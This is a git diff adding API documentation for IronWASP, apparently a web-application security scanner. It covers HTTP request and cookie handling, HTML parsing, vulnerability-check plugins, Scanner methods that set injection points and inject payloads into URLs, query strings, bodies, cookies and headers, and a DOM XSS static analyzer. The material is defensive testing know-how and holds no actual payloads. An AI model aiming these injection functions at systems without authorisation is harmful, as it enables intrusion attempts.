string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with an input field and a 'Submit' button. Returns the user's input as a string. + + + ForString(string Title, string Message, string ImageFilePath) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + string + ImageFilePath + Full path to any image file on the local hard drive. Eg: Capcha images + + + bool + Shows a pop-up window with the provided title and message and also displays the image inside this window along with an input field and a 'Submit' button. Returns the user's input as a string. + + + + + SetCookie + Non-Static + Represents all the information available in a Set-Cookie header + + + SetCookie(string SetCookieHeaderString) + Parses the a Set-Cookie header and creates a object that gives easy access to the contained information + + + string + SetCookieHeaderString + The Set-Cookie header string + + + + + + + Name + string + Non-Static + [READ-ONLY] Name of the key in the key-value pair included in the Set-Cookie header + + + Value + string + Non-Static + [READ-ONLY] Value of the key included in the Set-Cookie header + + + FullString + string + Non-Static + [READ-ONLY] Returns the full Set-Cookie header as a single string + + + Path + string + Non-Static + [READ-ONLY] Value of the Path attribute + + + Domain + string + Non-Static + [READ-ONLY] Value of the Domain attribute + + + Expires + string + Non-Static + [READ-ONLY] Value of the Expires attribute + + + MaxAge + string + Non-Static + [READ-ONLY] Value of the Max-Age attribute + + + HttpOnly + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the HttpOnly flag is set. + + + Secure + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the Secure flag is set. + + + Comment + string + Non-Static + [READ-ONLY] Comments contained in the Set-Cookie header + + + Version + string + Non-Static + [READ-ONLY] Version information from the Set-Cookie header + + + + + CookieStore + Non-Static + A store to save Cookies and add them to any Requests + + + CookieStore() + Creates a new empty Cookie Store object + + + + + + + + + Add(Request Req, Response Res) + Non-Static + + + Request + Req + Request object that was sent to the server + + + Response + Res + Response object recieved for the Request + + + void + Updates the CookieStore with the Response object's SetCookie headers + + + Add(string Host, string Cookie) + Non-Static + + + string + Host + Hostname of the site + + + string + Cookie + Cookie header as a string Eg: "SessionID=sad797asjd2323" + + + void + Updates the CookieStore with the Cookie against the specified Hostname + + + GetCookies() + Non-Static + + + SetCookie[] + Returns a list of SetCookie objects that represent all the cookies stored inside the CookieStore object + + + GetCookies(Request Req) + Non-Static + + + Request + Req + Request that must be sent to the server + + + SetCookie[] + Returns a list of SetCookie objects that represent the matching cookies stored inside the CookieStore object. Matches are done on the Hostname and Path of the Request object and the stored cookies. + + + + + HTML + Non-Static + A class that represents a HTML document and contains methods to traverse it. + + + HTML(string HtmlString) + Creates a HTML object from raw string containg HTML tags + + + string + HtmlString + String containg HTML tags, usually the Response Body. + + + + + + + Links + string[] + Non-Static + Lists all the links contained in the HTML document + + + Comments + string[] + Non-Static + Lists all the comments contained in the HTML document + + + Html + HtmlDocument + Non-Static + The base HtmlDocument object of HtmlAgilityPack + + + + + Load(string HtmlString) + Non-Static + + Void + Updates the HTML object with new HtmlString + + + Get(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string[] + Returns all the elements of the given name as strings. [i[br]]Eg: my_html.Get("script") + + + Get(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("script","src") + + + Get(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("*","class","code") + + + GetValues(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload' etc + + + string[] + Returns the matching atrribute values as list of strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("script","src") + + + GetValues(string ElementName, string AttributeName, string AttributeValues, string InterestedAttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload', 'id' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string + InterestedAttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload', 'id' etc + + + string[] + Returns the interested attribute values as list of strings from the elements matched by the element name and containing the provided attribute name/value pair. the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("a", "class", "left_nav", "href") will get the 'href' values of only those 'a' tags that have a 'class' attribute with value 'left_nav' + + + GetMetaContent(string MetaAttributeName, string MetaAttributeValue) + Non-Static + + + string + MetaAttributeName + Name of an HTML Meta tag attribute. Eg: 'http-equiv' + + + string + MetaAttributeValue + Value of the attributes mentioned by the MetaAttributeName parameter. Eg: 'set-cookie' (in case of attribute name 'http-equiv') + + + string[] + Returns the value of the 'content' attribute of 'meta' HTML tag that have an attribute matching MetaAttributeName with its value matching as MetaAttributeValue, as list of strings. [i[br]]Eg: my_html.GetMetaContent("http-equiv", "set-cookie") + + + GetNodes(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + HtmlNodeCollection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack. [i[br]]Eg: my_html.Get("script") + + + GetNodes(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + HtmlNodeCollection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("script","src") + + + GetNodes(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + HtmlNodeCollection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("*","class","code") + + + Query(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a" + + + string[] + Returns all the elements of the given Html object that matched the Xpath Query as strings. [i[br]]Eg: my_html.QueryNodes("//a") + + + QueryNodes(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + HtmlNodeCollection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + QueryValues(string XpathQuery, string AttributeName) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + string + AttributeName + Name of the Attribute whose value must be returned + + + string[] + Returns an array of strings containing the value of the Attribute from the Nodes that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + GetForms() + Non-Static + + + HtmlNode[] + Returns an array of HtmlNode(HtmlAgilityPack) objects that represent the Forms in the Html object. The HtmlNodes only contain the Form and Input Html elements, unnecessary elements are stripped off. + + + GetJavaScript() + Non-Static + + + string[] + Returns an array of string containing all the JavaScript from the Script tags and event attributes of the Html + + + GetJavaScript(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only JavaScript snippets that have this keyword are returned. + + + string[] + Returns an array of string containing all the JavaScript that contain the Keyword, from the Script tags and event attributes of the Html + + + GetVisualBasic() + Non-Static + + + string[] + Returns an array of string containing all the VisualBasic from the Script tags of the Html + + + GetVisualBasic(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only VisualBasic snippets that have this keyword are returned. + + + string[] + Returns an array of string containing all the VisualBasic that contain the Keyword, from the Script tags of the Html + + + GetCss() + Non-Static + + + string[] + Returns an array of string containing all the CSS from the Style tags and style attributes of the Html + + + GetCss(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only CSS snippets that have this keyword are returned. + + + string[] + Returns an array of string containing all the CSS that contain the Keyword, from the Style tags and style attributes of the Html + + + XpathSafe(string Input) + Non-Static + + + string + Input + The value that must be made Xpath safe + + + string + Takes the input string and returns an ouput that is fit to be used as an attribute value in a Xpath query. + + + GetContext(string Keyword) + Non-Static + + + string + Keyword + The Keyword whose context must be found + + + string[] + Checks the occurances of the Keyword in the Html and returns the contexts. + + + + + ActivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on the a webpage through active interaction. + + + + + Name + string + Non-Static + Name of the Active Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(ActivePlugin NewActivePluginObject) + Static + + + ActivePlugin + NewActivePluginObject + New ActivePlugin Object + + + Void + Adds a new Active Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the ActivePlugin + + + ActivePlugin + Returns a ActivePlugin of the given name from IronWASP's internal list. [i[br]]Eg: ActivePlugin.Get("Cross-site Scripting") + + + List() + Static + + string[] + Returns the names of all ActivePlugins currently present in IronWASP's internal list. + + + Check(Request Req, Scanner Scan) + Non-Static + + + Request + Req + The Request that is being scanned + + + Scanner + Scan + The Scanner object that is calling this Active Plugin + + + Void + This method contains the vulnerability checking logic of this particular ActivePlugin and performs the required check. + + + + + PassivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on requests/responses passively. + + + + + Name + string + Non-Static + Name of the Passive Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(PassivePlugin NewPassivePluginObject) + Static + + + PassivePlugin + NewPassivePluginObject + New PassivePlugin Object + + + Void + Adds a new Passive Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the PassivePlugin + + + PassivePlugin + Returns a PassivePlugin of the given name from IronWASP's internal list. + + + List() + Static + + string[] + Returns the names of all PassivePlugins currently present in IronWASP's internal list. + + + Check(Session Sess, PluginResults Results) + Non-Static + + + Session + Sess + The Session object that is being passively scanned + + + PluginResults + Results + The object that will hold the findings of the check if any. + + + Void + This method contains the vulnerability checking logic of this particular PassivePlugin and performs the required check. + + + + + FormatPlugin + Non-Static + An IronPython or IronRuby script that can convert an object of any special format to xml and back. + + + + + Name + string + Non-Static + Name of the Format Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(FormatPlugin NewFormatPluginObject) + Static + + + FormatPlugin + NewFormatPluginObject + New FormatPlugin Object + + + Void + Adds a new Format Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the FormatPlugin + + + FormatPlugin + Returns a FormatPlugin of the given name from IronWASP's internal list. + + + List() + Static + + string[] + Returns the names of all FormatPlugins currently present in IronWASP's internal list. + + + XmlToArray(string Xml) + Static + + + string + Xml + The Xml must be converted in to array + + + string[,] + Converts the Xml input in to a two-dimensional array and returns it. The two-dimensional array holds the values in the Xml and the node path of the values. This information is used for fuzzing the Xml. + + + InjectInXml(string Xml, int InjectionPosition, string ValueToString) + Static + + + string + Xml + The Xml in to which a value must be injected + + + int + InjectionPosition + The position in the Xml where the value must be injected. This is the index of the value in the two-dimensional array returned by FormatPlugin.XmlToArray(Xml) + + + string + ValueToString + The value that must be injected in to the Xml + + + string + Inserts a value in to the specified position in the Xml and returns the updated Xml. This method is used in fuzzing Xml based data or data of any format that gets converted to Xml by the approriate FormatPlugin + + + + + SessionPlugin + Non-Static + An IronPython or IronRuby script that would contain methods to define a specific web application's custom behaviour. + + + + + Name + string + Non-Static + Name of the Session Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(SessionPlugin NewSessionPluginObject) + Static + + + SessionPlugin + NewSessionPluginObject + New SessionPlugin Object + + + Void + Adds a new Session Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the SessionPlugin + + + FormatPlugin + Returns a SessionPlugin of the given name from IronWASP's internal list. + + + List() + Static + + string[] + Returns the names of all SessionPlugins currently present in IronWASP's internal list. + + + + + Scanner + Non-Static + A class to create a custom security scanner by determining injection points and active plugins. + + + Scanner(Request RequestToScan) + Creates a new Scanner object based on the Request + + + Request + RequestToScan + A request that would be scanned by the scanner object. + + + + + + + SessionHandler + SessionPlugin + Non-Static + Session plugin assosiated with this scanner to control its behaviour + + + BodyFormat + FormatPlugin + Non-Static + Format Plugin associated with this scanner to represent the body of the scanner's request. + + + InjectedSection + string + Non-Static + Name of the section of the request that is being currently injected. Possible values are URL, Query, Body, Cookie and Headers. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectedParameter + string + Non-Static + Name of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectedUrlPathPosition + int + Non-Static + The index of the UrlPathParts that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + PreInjectionParameterValue + string + Non-Static + Original value of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectedRequest + Request + Non-Static + Request sent to the serer with some parameter injected. [i[br]] (Only to be called within the ActivePlugin script) + + + InjectionResponse + Response + Non-Static + Response returned from the server for InjectedRequest. [i[br]] (Only to be called within the ActivePlugin script) + + + + + AddCheck(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the active plugin that must be included in the scan. + + + Void + Includes an Active Plugin to the scanner and calls it at scan time. + + + RemoveCheck(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the ActivePlugin to be removed from the scanner + + + Void + Removes the Active Plugins from the list of checks the scanner calls at scan time. + + + ShowChecks() + Non-Static + + string[] + Returns the names of all ActivePlugins that will be called by the Scanner at scan time. + + + ClearChecks() + Non-Static + + Void + Removes all the Active Plugins that would have been called by the Scanner at scan time. + + + InjectAll() + Non-Static + + Void + Sets injection points in all Url positions, Query, Body, Cookie and Header parameters. + + + InjectUrl() + Non-Static + + Void + Sets injection points in all Url positions. + + + InjectUrl(int UrlPosition) + Non-Static + + + int + UrlPosition + Zero based value of the Url position that must be injected + + + Void + Sets an injection point at the specified Url position. + + + InjectQuery() + Non-Static + + Void + Sets injection points in all Query parameter positions. + + + InjectQuery(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the query. + + + InjectQuery(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the query if multiple parameter exist with the same name. + + + InjectBody() + Non-Static + + Void + Sets injection points in all Body parameter positions. + + + InjectBody(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the Body. + + + InjectBody(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the body if multiple parameter exist with the same name. + + + InjectBody(int XmlArrayInjectionPoint) + Non-Static + + + int + XmlArrayInjectionPoint + A position inside the XmlInjectionPoints array + + + Void + If a FormatPlugin is set then sets an injection point the specified point in the XmlInjectionPoints array. + + + InjectCookie() + Non-Static + + Void + Sets injection points in all Cookie parameter positions. + + + InjectCookie(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the Cookie. + + + InjectCookie(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the Cookie if multiple parameter exist with the same name. + + + InjectHeaders() + Non-Static + + Void + Sets injection points in all Headers parameter positions. + + + InjectHeaders(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + Void + Sets an injection point at all occurances of the given parameter name in the Headers. + + + InjectHeaders(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + Void + Sets an injection point at the specified occurance of the given parameter name in the Headers if multiple parameter exist with the same name. + + + LaunchScan() + Non-Static + + Void + Similar to Scan() but instead of performing the scan in the current thread it queues the scan job in the 'AutomatedScanning' section. The scan logs will be updated in the 'ScanLog' grid instead of the 'ScriptingLog' grid. + + + Inject(string Payload) + Non-Static + + + string + Payload + Payload to be injected + + + Response + Injects the payload in the section of the request where the current injection pointer lies and returns the corresponding response. [i[br]] (Only to be called within the ActivePlugin script) + + + + + IronJint + Static + A JavaScript static analyzer to check for DOM-based XSS issues + + + + + + + Trace(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + TraceResult + Analyzes the JavaScript code for instances where DOM XSS Sources and Sinks are present including instances where Sources are assigned to Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + Trace(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The Keyword that must be traced through the JavaScript + + + TraceResult + Analyzes the JavaScript code for instances where the given keyword is assigned to DOM XSS Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + IsExpressionStatement(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The string value that must be checked for being an expression statement. + + + bool + Parses the input JavaScript code and checks if the keyword appears inside the JavaScript as an expression statement. + + + Beautify(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be beautified + + + string + Properly formats the input code and returns a more readable version + + + + + TraceResult + Non-Static + Represents the result of JavaScript static analysis performed using the Trace method of IronJint. + + + + + SourceLineNos + int[] + Non-Static + Line numbers that are tained by a DOM XSS source + + + SinkLineNos + int[] + Non-Static + Line numbers that are tained by a DOM XSS sink + + + SourceToSinkLineNos + int[] + Non-Static + Line numbers where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + SourceLines + string[] + Non-Static + Lines that are tained by a DOM XSS source + + + SinkLines + string[] + Non-Static + Lines that are tained by a DOM XSS sink + + + SourceToSinkLines + string[] + Non-Static + Lines where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + KeywordContexts + string[] + Non-Static + If this is the result of IronJint.Trace(code, keyword) then list of contexts in which the given keyword is present in the JavaScript code is returned. + + + Lines + string[] + Non-Static + All the lines of the cleaned up version of the input JavaScript code. + + + + + + + GlobalStore + Static + A store for all types of objects that can be accessed from any part of the tool. + + + + + + + Put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + Void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + Get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + Has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + Remove(string Name) + Static + + + string + Name + Name of the object stored + + + Void + Removes the object matching the name from the store. + + + + + ThreadStore + Static + A store for all types of objects that is specific to a thread on which it is called. Objects stored in a ThreadStore are only accessible to calls made from the same thread. + + + + + + + Put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + Void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + Get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + Has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + Remove(string Name) + Static + + + string + Name + Name of the object stored + + + Void + Removes the object matching the name from the store. + + + Clear() + Static + + + Void + Removes all the objects stored from calling thread. Objects stored from other threads are not affected. + + + ThisThread() + Static + + + int + Returns the Thread ID of the thread from this this call is made. + + + + + Config + Static + A class that holds some information about the tool. + + + + + Path + string + Static + [READ-ONLY]Returns the full path of the location of the IronWASP binary in the file system. + + + + + + Calls used to instantiate the Class. + Static and Non-Static variables available in the Class + Static and Non-Static Function calls available in the Class. + Members of the Enum class. + \ No newline at end of file diff --git a/Iron/bin/Debug/APIdoc_Rb.xml b/Iron/bin/Debug/APIdoc_Rb.xml new file mode 100644 index 0000000..3d2455e --- /dev/null +++ b/Iron/bin/Debug/APIdoc_Rb.xml @@ -0,0 +1,2843 @@ + + + Request + Non-Static + Object that represents a HTTP request. [i[br]]Has methods to create and send HTTP requests. + + + Request.new(string FullUrl) + Creates Request object from Url, Request Method defaults to GET. + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request.new(string Method, string FullUrl) + Creates Request object from Url and sets the mentioned method. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request.new(string Method, string FullUrl, string BodyString) + Creates Request object from Url, sets the mentioned method and sets the body. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org/index.html + + + string + BodyString + Body of the request as string. + + + + + + + full_url + string + Non-Static + Entire Url along with scheme and hostname.[i[br]]Eg: http://ironwasp.org/index.html + + + url + string + Non-Static + Url without the scheme and hostname.[i[br]]Eg: /main/index.aspx?q=123 + + + url_path + string + Non-Static + The Path section of the Url without the QueryString.[i[br]]Eg: /main/index.aspx + + + url_path_parts + string[] + Non-Static + Array of strings where each element is a part of the UrlPath property.[i[br]]Eg: ['main','index.aspx'] + + + ssl + bool + Non-Static + Bool value stating if the request is a SSL request or not. [i[br]]Set this to True to create a SSL request. + + + http_method + string + Non-Static + HTTP Method of the Request. [i[br]]Eg: GET, POST etc. + + + http_version + string + Non-Static + Version number of the HTTP Request - HTTP/1.1 or HTTP/1.0 + + + query + Parameters + Non-Static + Contains the QueryString parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + body + Parameters + Non-Static + Contains the Request Body parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + cookie + Parameters + Non-Static + Contains the Cookie parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + host + string + Non-Static + Hostname of the target server. [i[br]]Eg: www.ironwasp.org + + + has_body + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Request. + + + body_string + string + Non-Static + Entire Body of the Request as a single string. [i[br]]Encoding charset used is taken from the Content-Type header or ISO-8859-1 is used if none is present. + + + binary_body_string + string + Non-Static + Entire Body of the Request as a Base64 encoded string. [i[br]]If a Binary Request body must be assigned then it can be assigned to this property or to the body_array property.[i[br]](IronWASP stores binary body as base64 string in its logs). + + + body_array + byte[] + Non-Static + Entire Body of the Request as a Byte Array. + + + body_length + int + Non-Static + Length of the Request Body. + + + cookie_string + string + Non-Static + Gives the value of the 'Cookie' header of the Request. [i[br]]This property can be assigned a new string to update the Cookie value as well. + + + content_type + string + Non-Static + Value of the Content-Type Header, including the Charset information(if present). + + + is_binary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Request is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + response + Response + Non-Static + [READ-ONLY] Response object associated with this Request. [i[br]]Generated on calling the send_req() method. + + + + + send_req() + Non-Static + + response + Sends the request to the server and returns the Response object. [i[br]]Call blocks the thread. + + + follow(Response ResponseToFollow) + Non-Static + + + Response + ResponseToFollow + A 3xx response that must be followed + + + response + If the response status code is a 301, 302, 303 or 307 then it is followed else the response passed in is returned. + + + get_redirect(Response RedirectResponse) + Non-Static + + + Response + RedirectResponse + Response to the Request which contains a Redirect header + + + request + If the response status code is a 301, 302, 303 or 307 then the a Request object specific to follow the redirection is returned.[i[br]]If the Response is not a redirect then a null value is returned. + + + set_cookie(Response Res) + Non-Static + + + Response + Res + IronWASP Response object + + + none + Reads the contents of the Set-Cookie headers from the Response object and adds them as cookies in the Request. + + + set_cookie(SetCookie[] SetCookies) + Non-Static + + + SetCookie[] + SetCookies + A list of SetCookie objects. This is usually the SetCookies property of the IronWASP Response object. + + + none + Sets the Cookie of the request with the provided value. + + + set_cookie(SetCookie SetCookieObject) + Non-Static + + + SetCookie + SetCookieObject + A SetCookie object + + + none + Sets the Cookie of the request with the provided value. + + + set_cookie(CookieStore Store) + Non-Static + + + CookieStore + Store + CookieStore object where cookies are stored + + + none + Reads the CookieStore objects and the Cookies relevant to this Request are added. [i[br]]Revelant cookies are picked based on the Host, Path and Secure attributes of the cookies stored in the CookieStore. + + + get_body_encoding() + Non-Static + + string + Returns the Encoding Charset of the request from the Content-Type header. [i[br]]If no Charset is specified then ISO-8859-1 is returned. + + + get_headers_as_string() + Non-Static + + string + Returns the entire Request header section containing the method, url, HTTP version and headers as a single string. + + + to_string() + Non-Static + + string + Returns the entire Request as a single string. + + + to_binary_string() + Non-Static + + string + Returns the entire Request as a specially formatted string that preserves any binary content in the request body. + + + get_full_request_as_byte_array() + Non-Static + + byte_[] + Returns the entire Request header section containing the method, url, HTTP version and headers as a Byte Array. + + + from_proxy_log(int ID) + Static + + + int + ID + ID of the Request in the Proxy Log. + + + request + Creates a Request object from the specified record in the Proxy Log and returns it. + + + from_proxy_log() + Static + + request_[] + Creates an array of all Request objects from the Proxy Log and returns it. + + + from_test_log(int ID) + Static + + + int + ID + ID of the Request in the Manual Testing Log. + + + request + Creates a Request object from the specified record in the Manual Testing Log and returns it. + + + from_test_log() + Static + + request_[] + Creates an array of all Request objects from the Manual Testing Log and returns it. + + + from_probe_log(int ID) + Static + + + int + ID + ID of the Request in the Probe Log. + + + request + Creates a Request object from the specified record in the Probe Log (Crawler) and returns it. + + + from_probe_log() + Static + + request_[] + Creates an array of all Request objects from the Probe Log(Crawler) and returns it. + + + from_shell_log(int ID) + Static + + + int + ID + ID of the Request in the Scripting Shell Log. + + + request + Creates a Request object from the specified record in the Scripting Shell Log and returns it. + + + from_shell_log() + Static + + request_[] + Creates an array of all Request objects from the Scripting Shell Log and returns it. + + + from_scan_log(int ID) + Static + + + int + ID + ID of the Request in the 'Automated Scanning' Log. + + + request + Creates a Request object from the specified record in the 'Automated Scanning' Log and returns it. + + + from_scan_log() + Static + + request_[] + Creates an array of all Request objects from the 'Automated Scanning' Log and returns it. + + + from_string(string RequestString) + Static + + + string + RequestString + String representing the entire request, usually the output of the to_string() method. + + + request + Creates a Request object from the string and returns it. + + + from_binary_string(string RequestBinaryString) + Static + + + string + RequestString + Specially formatted binary string representing the entire request, the output of the to_binary_string() method. + + + request + Creates a Request object from the string and returns it. + + + get_id() + Non-Static + + int + Returns the ID of the Request object in its respective log. + + + + + Response + Non-Static + Object that represents a HTTP response. Has methods to read and analyze the response. + + + + + code + int + Non-Static + [READ-ONLY] Status code of the response. [i[br]]Eg: 200 + + + status + string + Non-Static + [READ-ONLY] Status description of the response. [i[br]]Eg: OK + + + http_version + string + Non-Static + [READ-ONLY] HTTP Version of the response.[i[br]]Eg: HTTP/1.1 + + + set_cookies + SetCookie[] + Non-Static + A collection of SetCookie objects. This is built by parsing the 'Set-Cookie' headers in the Response + + + headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + is_binary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + has_body + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Response. + + + body_string + string + Non-Static + Body of the response represented as a string. + + + binary_body_string + string + Non-Static + Body of the response represented as a Base64 encoded string. + + + body_array + byte[] + Non-Static + Body of the response represented as a Byte Array. + + + body_encoding + string + Non-Static + Content Encoding used for the Response Body. + + + html + HTML + Non-Static + Body of the Response represented as a HTML object. + + + is_html + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is HTML text or not. + + + is_java_script + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JavaScript text or not. + + + is_css + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid CSS text or not. + + + is_xml + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid XML text or not. + + + is_json + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JSON text or not. + + + + + to_string() + Non-Static + + string + Returns the entire Response as a single string. + + + + + Session + Non-Static + Represents an HTTP transaction, contains a Request and a Response object. + + + + + request + Request + Non-Static + The Request object stored inside the Session. + + + response + Response + Non-Static + The Response corresponding to the Request object, if available. + + + + + from_proxy_log(int ID) + Static + + + int + ID + ID of the Session in the Proxy Log. + + + session + Creates an Session object from the specified record in the Proxy Log and returns it. + + + from_proxy_log() + Static + + session_[] + Creates an array of all Session objects from the Proxy Log and returns it. + + + from_test_log(int ID) + Static + + + int + ID + ID of the Session in the Manual Testing Log. + + + session + Creates an Session object from the specified record in the Manual Testing Log and returns it. + + + from_test_log() + Static + + session_[] + Creates an array of all Session objects from the Manual 